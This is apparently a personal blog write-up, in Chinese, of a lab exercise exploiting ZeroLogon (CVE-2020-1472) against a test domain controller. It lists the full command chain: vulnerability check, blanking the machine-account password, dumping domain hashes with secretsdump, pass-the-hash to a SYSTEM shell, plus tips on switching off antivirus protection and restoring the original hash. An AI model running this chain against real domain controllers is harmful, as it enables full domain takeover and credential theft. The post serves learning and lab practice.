ZeroLogon

ZeroLogon(CVE-2020-1472)从零到域控 — 实战记录

前言

Zerologon 是我接触内网渗透后打的第一个真正意义上的”不用密码就能拿域控”的漏洞。它的爆点在于——不需要知道任何密码、不需要用户交互、不需要钓鱼,只要域控没打补丁,一把梭就提权到域管。


什么是 Zerologon

Zerologon 是 Netlogon 远程协议(MS-NRPC)的一个特权提升漏洞,编号 CVE-2020-1472。

Netlogon 是 Windows 域环境里机器账户认证用的协议——每台加域的计算机启动时,都要通过 Netlogon 向域控证明”我是我”。这个协议跑在 SMB 命名管道(\pipe\netlogon)上。

漏洞出在它使用了 AES-CFB8 加密模式,但初始化向量(IV)被固定为全零。攻击者只需要不断发送全零密文作为凭证,每次有 1/256 的概率被域控接受为合法认证。平均 256 次尝试就能拿到域控的机器账户身份。


环境说明

角色 主机名 IP
域控(DC) masterpc 192.168.111.100
攻击机 Kali / Windows + Python 192.168.111.25
域名 myd.com

域控是 Windows Server 2016(Build 14393),未安装 KB4565349 补丁。


攻击流程

Step 1:漏洞检测

使用 SecuraBV 的 zerologon_tester 脚本检查目标是否存在漏洞:

1
python3 zerologon_tester.py masterpc 192.168.111.100

脚本会向域控发送 2000 次全零认证请求,每次返回 = 号表示失败。如果某次返回 Success,说明漏洞存在。

也可以使用 Impacket 自己写检测逻辑,核心就两步:

  1. NetrServerReqChallenge — 发送全零挑战
  2. NetrServerAuthenticate3 — 发送全零凭证认证

Step 2:置空机器账户密码

确认存在漏洞后,执行 VoidSec 的 exploit 脚本:

1
python3 cve-2020-1472-exploit.py -n masterpc -t 192.168.111.100

脚本爆破成功后,会询问是否继续修改密码——输入 Y,将 masterpc$ 的密码置为空。这一步操作的就是 AD 数据库 ntds.dit 中机器账户的凭据。

Step 3:导出域哈希

密码置空后,用空密码冒充 masterpc$ 登录域控,导出所有用户的哈希:

1
python3 secretsdump.py myd.com/masterpc$@192.168.111.100 -no-pass

拿到 Administrator 的 NTLM hash:

1
Administrator:500:aad3b435b51404eeaad3b435b51404ee:ec0df45863a3751d56ba6df1e72f7218:::

Step 4:PTH 攻击拿到 Shell

有了哈希就不用解密码,Windows NTLM 认证协议只看哈希对不对得上:

1
python3 wmiexec.py -hashes :ec0df45863a3751d56ba6df1e72f7218 myd.com/Administrator@192.168.111.100

拿到域控的 SYSTEM 权限 shell:

1
2
C:\>dir
C:\>type flag.txt

踩坑记录

坑1:Windows Defender 杀 impacket

运行 exploit 时一直报 WinError 10053 — 你的主机中的软件中止了一个已建立的连接

查了半天发现是 Windows Defender 把 impacket 的几个关键文件(nrpc.pyepm.py__init__.py)标记为”潜在垃圾软件”并阻断读写。解决方案是把 Python 目录加到 Defender 排除列表。

修复后还有更坑的: ping 命令被 impacket 自带的 ping.py 劫持了。因为 Python Scripts 目录在 PATH 里的优先级比 C:\Windows\System32 高,导致 ping 实际上在跑 ping.py。删掉 ping.py 解决。

坑2:impacket 版本不兼容

原版 exploit 写于 2020 年,用的是 impacket==0.9.23。而我本地装的是 impacket==0.13.1,新版改了多个 API:

  • nrpc.MSRPC_UUID_NRPC 的值在新版中损坏
  • NETLOGON_NEG_SUPPORTS_AES 等常量在新版中不存在
  • 结构体字段名有变化

降级到 pip install impacket==0.9.23 解决。

坑3:PrimaryName 参数问题

通过 SMB 命名管道连接 Netlogon 服务时,PrimaryName 参数必须传空字符串 \x00,不能传 \\masterpc\x00,否则域控返回 STATUS_INVALID_COMPUTER_NAME

坑4:杀毒软件拦截

即使加了排除目录,发送 Zerologon 攻击包时杀毒软件的实时网络防护仍会拦截。需要临时关闭实时防护或在攻击机上用 -codec gbk 解决中文乱码。


为什么恢复哈希很重要

攻击完成后,masterpc$AD 数据库(ntds.dit) 中的密码被置空了。但域控本地的注册表lsass 进程中存的还是原始密码。这就导致了:

1
2
ntds.dit 里 masterpc$ 密码 = 空       ← 被我们改了
本地注册表里 masterpc$ 密码 = 原来的 ← 没变

域控重启时拿着注册表的原始密码去 AD 认证,但 AD 里的密码是空的——两边对不上,域控会脱域甚至开不了机

恢复方法:

1
2
3
4
5
6
7
8
9
10
# 在域控上导出注册表
reg save HKLM\SYSTEM system.save
reg save HKLM\SAM sam.save
reg save HKLM\SECURITY security.save

# 本地提取原始哈希
python3 secretsdump.py -sam sam.save -system system.save -security security.save LOCAL

# 恢复原始密码
python3 reinstall_original_pw.py masterpc 192.168.111.100 <原始哈希>

一些思考

关于哈希加密的意义

刚接触的时候觉得挺矛盾的——破解不了的 hash,结果直接拿去登录了,那加密的意义在哪?

后来想明白了:哈希的目的是防止密码被反向获取,而不是防止被重用。 NTLM 协议设计时就没想过”哈希会泄露”的场景——它假设只有域控才能拿到哈希。ZeroLogon 打破了这个假设。

关于域渗透的学习路径

从一个漏洞切入整个 Windows 域体系,比直接背命令效果好得多。打完 ZeroLogon,我对以下概念建立了具象理解:

  • 域控 ≠ 域管(一个是服务器,一个是账号)
  • NTLM 认证的 hash 可以直接登录(PTH 的本质)
  • 机器账户 masterpc$ 和普通账户的区别
  • Kerberos 票据是”通行证”,黄金票据伪造 KDC,白银票据伪造服务
  • SMB 命名管道作为 RPC 传输通道的工作方式

参考资料


ZeroLogon
http://82.156.189.140:8085/2026/06/30/ZeroLogon/
作者
fortuneh2c
发布于
2026年6月30日
许可协议